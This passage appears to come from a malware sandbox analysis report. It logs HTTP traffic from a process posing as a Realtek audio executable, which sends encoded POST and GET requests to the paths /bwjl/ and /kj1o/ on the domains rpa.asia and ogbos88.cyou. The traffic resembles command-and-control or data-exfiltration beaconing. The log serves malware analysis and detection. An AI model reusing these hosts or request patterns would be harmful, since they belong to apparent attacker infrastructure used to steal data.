lV=On/0Uk0gKlcgxz9muO5dHP1vRn5C8VDqjPeKBXnf8PJx+4/uhizA5b56RFWMnqR7kil24MJS2cxM0UDN2gtfjhtWVo5JaHPZc1KzowxNAFsSLMH3ZQXxhJTQIRHr/07jB9rh1l6RgpfCk/EumfrzurH06GJkH09DXubk6XJeGV+BrvpAg3KSSo83gn77Jca1zA==
Jan 9, 2025 16:49:05.970071077 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:49:05 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:49:05.970114946 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49767	160.25.166.123	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:08.501307964 CET	803	OUT	POST /bwjl/ HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.rpa.asia Referer: http://www.rpa.asia/bwjl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 4f 6e 2f 30 55 6b 30 67 4b 6c 63 67 6a 43 4e 6d 68 4e 52 64 47 76 31 73 66 48 35 43 70 6c 44 6d 6a 50 61 4b 42 56 4c 50 38 39 64 78 39 63 7a 75 67 67 4c 41 38 62 35 36 65 6c 58 49 34 36 51 57 6b 69 68 45 34 4a 70 53 32 63 6c 4d 30 56 7a 4e 32 54 46 63 78 42 74 55 4f 34 35 48 55 6e 50 5a 63 31 4b 7a 6f 77 4d 67 41 45 45 53 49 38 33 33 61 78 58 79 73 70 54 54 66 68 48 72 70 30 37 76 42 39 71 30 31 6b 6d 37 67 76 44 43 6b 2b 30 75 6d 4f 72 77 67 72 48 74 30 6d 49 4d 50 47 30 37 4f 2b 2f 6d 71 47 38 48 48 41 36 6c 6a 5a 6b 61 39 46 2b 32 52 37 67 46 6b 58 43 54 4c 65 62 75 75 49 4d 76 39 57 7a 31 42 35 7a 58 39 74 74 61 55 6f 63 66 6d 39 49 3d Data Ascii: lV=On/0Uk0gKlcgjCNmhNRdGv1sfH5CplDmjPaKBVLP89dx9czuggLA8b56elXI46QWkihE4JpS2clM0VzN2TFcxBtUO45HUnPZc1KzowMgAEESI833axXyspTTfhHrp07vB9q01km7gvDCk+0umOrwgrHt0mIMPG07O+/mqG8HHA6ljZka9F+2R7gFkXCTLebuuIMv9Wz1B5zX9ttaUocfm9I=
Jan 9, 2025 16:49:08.852286100 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:49:08 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:49:08.852333069 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49768	160.25.166.123	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:11.394234896 CET	1289	OUT	POST /bwjl/ HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.rpa.asia Referer: http://www.rpa.asia/bwjl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 4f 6e 2f 30 55 6b 30 67 4b 6c 63 67 6a 43 4e 6d 68 4e 52 64 47 76 31 73 66 48 35 43 70 6c 44 6d 6a 50 61 4b 42 56 4c 50 38 39 6c 78 39 70 76 75 69 42 4c 41 2f 62 35 36 58 46 58 4c 34 36 52 55 6b 6b 4a 41 34 4a 74 6f 32 66 64 4d 79 33 4c 4e 77 69 46 63 6f 78 74 55 52 6f 35 4b 61 48 4f 52 63 30 36 33 6f 32 73 67 41 45 45 53 49 2b 76 33 4e 77 58 79 71 70 54 51 49 52 48 6e 2f 30 37 4c 42 39 69 6b 31 6b 69 42 6a 5a 7a 43 6b 65 6b 75 6e 38 44 77 2f 37 48 34 35 47 49 55 50 47 6f 6b 4f 2b 79 58 71 46 68 73 48 48 4f 6c 67 34 56 61 74 45 69 49 45 5a 30 72 74 6a 4f 43 43 76 76 6a 78 4c 63 52 34 77 6e 43 42 75 4c 4d 38 64 56 69 41 4b 63 4a 33 49 72 71 72 78 36 39 46 54 2b 45 78 65 59 34 39 6e 34 30 33 69 45 32 62 38 75 65 70 78 4c 36 4c 59 66 42 59 76 69 63 71 52 70 69 31 56 56 7a 34 50 48 6a 45 72 30 69 68 32 64 37 2b 32 43 59 6c 6c 6f 32 6b 78 46 5a 45 39 5a 6c 65 77 51 5a 32 46 55 72 64 42 45 43 7a 6a 55 51 70 72 49 2b 32 6c 75 38 34 45 62 34 59 33 41 6d 63 53 2b 31 76 68 38 36 59 42 37 63 44 6b 42 [TRUNCATED] Data Ascii: lV=On/0Uk0gKlcgjCNmhNRdGv1sfH5CplDmjPaKBVLP89lx9pvuiBLA/b56XFXL46RUkkJA4Jto2fdMy3LNwiFcoxtURo5KaHORc063o2sgAEESI+v3NwXyqpTQIRHn/07LB9ik1kiBjZzCkekun8Dw/7H45GIUPGokO+yXqFhsHHOlg4VatEiIEZ0rtjOCCvvjxLcR4wnCBuLM8dViAKcJ3Irqrx69FT+ExeY49n403iE2b8uepxL6LYfBYvicqRpi1VVz4PHjEr0ih2d7+2CYllo2kxFZE9ZlewQZ2FUrdBECzjUQprI+2lu84Eb4Y3AmcS+1vh86YB7cDkBc/L+te1Ja/SBLsL+5tSuRd2rSkKy7TGSkcJ3Od3HHSAVpQ+FGOCkUjtVyy474RpR3AJ6mgr5qZVPKTrVQ/X1sC9LVkxJzfbg2If3lv84aN75soJUUgqi44ndrb5JHzdpuAIzVGeOeG78zJ+vowD0Y5lmTvY4zof1N9lyKYzXX0QBpbBvolu7yM56i/TiqZMaHNNS7wqFqr3JS1+vC7AhGtWMjJ6IujVCsRsgK+qUIHWJmgJEJzZVyXSvsjVkfyhhCk916FtrfIt4i2EJtmWOqJI9TKWVFYBLK+i0lnJgTm4Mk9NWb9HemyRHYowXvCTOFWE1H7WUZctYCr7MowHq7SXMBaDml2lodYWp75l6VH5eyS
Jan 9, 2025 16:49:11.394298077 CET	6663	OUT	Data Raw: 4e 65 2b 6c 71 78 6e 5a 64 70 44 72 32 6a 58 53 4b 70 63 44 55 56 36 6a 77 73 54 6b 65 50 68 76 5a 61 54 38 34 54 2b 4d 76 61 4f 33 77 61 48 59 52 43 54 46 59 66 79 4d 45 38 36 6c 67 59 6c 74 34 64 4a 35 38 45 66 77 64 4d 38 58 42 75 2f 63 6d 6b Data Ascii: Ne+lqxnZdpDr2jXSKpcDUV6jwsTkePhvZaT84T+MvaO3waHYRCTFYfyME86lgYlt4dJ58EfwdM8XBu/cmkLl5OU16BTneJScuZ2MHe5dE2VvhIczCcqhjC3CULC19rSMvKRg35UemXW4CCD/3mGYxVJ9C154GPlSEF+dLnqKP5/M0mSxjhvdbcjMh7THfDR7Mtz7AFa1F2pi4jacqEvRD8xeEf0hwQSb7GuAPT2Kjp5dkVb4u2k
Jan 9, 2025 16:49:11.747670889 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:49:11 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:49:11.747716904 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49769	160.25.166.123	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:14.279927015 CET	526	OUT	GET /bwjl/?lV=DlXUXSIcZnIsgzl0u4NtOaZFY3Bzu0GepY2CMnKH5/Z+wLXeqyLz34dEMj2dm6NLuVk54f0N3OpI5VHZ7BJAsS5zdqtXFQ+nWWO+v3ILJktUUuvXcybstOw=&LSbaT=zft4LoBw HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:49:14.627182007 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:49:14 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:49:14.627224922 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49770	104.21.13.141	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:19.912571907 CET	795	OUT	POST /kj1o/ HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.ogbos88.cyou Referer: http://www.ogbos88.cyou/kj1o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 58 48 6f 54 6b 49 62 46 31 48 6d 63 52 4e 4d 55 49 62 46 5a 6b 43 7a 6c 55 66 79 74 78 79 67 4e 51 6c 33 48 61 6c 51 57 41 7a 6c 54 61 69 4b 76 72 4f 59 67 6b 44 51 5a 73 46 51 32 41 37 76 4a 42 69 33 58 5a 6f 7a 54 31 63 56 6e 2f 76 66 32 45 32 58 47 51 4d 4e 35 34 37 47 30 79 35 61 58 58 41 36 71 75 32 68 72 46 34 4d 55 5a 63 64 6b 62 46 65 52 4f 61 66 5a 30 6e 5a 45 5a 5a 52 67 4b 74 69 36 30 4f 72 2b 35 44 65 48 76 53 48 34 69 52 50 56 2b 52 37 44 77 35 57 75 52 52 66 58 55 70 34 4d 70 72 36 44 78 77 6a 75 5a 41 73 77 73 49 6d 57 6d 35 43 47 6a 71 51 42 6a 78 4a 4e 76 51 3d 3d Data Ascii: lV=XHoTkIbF1HmcRNMUIbFZkCzlUfytxygNQl3HalQWAzlTaiKvrOYgkDQZsFQ2A7vJBi3XZozT1cVn/vf2E2XGQMN547G0y5aXXA6qu2hrF4MUZcdkbFeROafZ0nZEZZRgKti60Or+5DeHvSH4iRPV+R7Dw5WuRRfXUp4Mpr6DxwjuZAswsImWm5CGjqQBjxJNvQ==
Jan 9, 2025 16:49:20.045648098 CET	804	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:49:19 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:49:19 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wpzrW1OaMxavkcX3%2FRE174E5yAEvT7UybNvn3FjGSpfC3Vnv9FQDuWkJirdzOFpRpCIIUN8Bex7hfiNKi6CunhbX8K%2FDpuU3bYUFJ3hdulQB0jV5sOtSOX1a5RTq22%2Ba5rMZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ff5939fdc5610ea-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49771	104.21.13.141	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:22.564306974 CET	815	OUT	POST /kj1o/ HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.ogbos88.cyou Referer: http://www.ogbos88.cyou/kj1o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 58 48 6f 54 6b 49 62 46 31 48 6d 63 65 4d 38 55 62 49 64 5a 74 43 7a 69 62 2f 79 74 2f 69 67 4a 51 6c 4c 48 61 6b 6b 34 44 42 52 54 62 43 36 76 6f 50 59 67 6a 44 51 5a 34 56 51 76 4e 62 76 43 42 69 37 78 5a 74 54 54 31 59 31 6e 2f 75 76 32 45 46 76 46 51 63 4e 73 77 62 47 71 39 5a 61 58 58 41 36 71 75 32 46 53 46 34 55 55 5a 74 74 6b 62 6b 65 65 41 36 66 59 7a 6e 5a 45 50 5a 52 73 4b 74 6a 76 30 4e 75 5a 35 46 53 48 76 58 37 34 6c 45 76 53 30 52 37 46 2b 5a 58 5a 53 55 2f 63 55 49 73 72 75 5a 69 39 78 31 72 77 59 57 68 71 78 36 53 79 6c 71 65 30 6e 61 70 70 68 7a 49 57 79 52 33 47 47 31 7a 6b 62 76 4b 2f 4e 57 78 72 78 4c 64 46 64 37 6b 3d Data Ascii: lV=XHoTkIbF1HmceM8UbIdZtCzib/yt/igJQlLHakk4DBRTbC6voPYgjDQZ4VQvNbvCBi7xZtTT1Y1n/uv2EFvFQcNswbGq9ZaXXA6qu2FSF4UUZttkbkeeA6fYznZEPZRsKtjv0NuZ5FSHvX74lEvS0R7F+ZXZSU/cUIsruZi9x1rwYWhqx6Sylqe0napphzIWyR3GG1zkbvK/NWxrxLdFd7k=
Jan 9, 2025 16:49:22.705631018 CET	810	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:49:22 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:49:22 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SOr8e6FdN1Qyj%2BcCNtfpmMkItzs5HRvnf1IoKlygVkMrEEd1STekFYwjEeQ%2FGgzKBwxrO2Egmst%2BfymHE94TZixKwGj9C8LW8fKhJkZ%2Ff9r0I5yLeJyhs%2Bh3qCStVSPK9Xv%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ff593b07c6f89f4-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
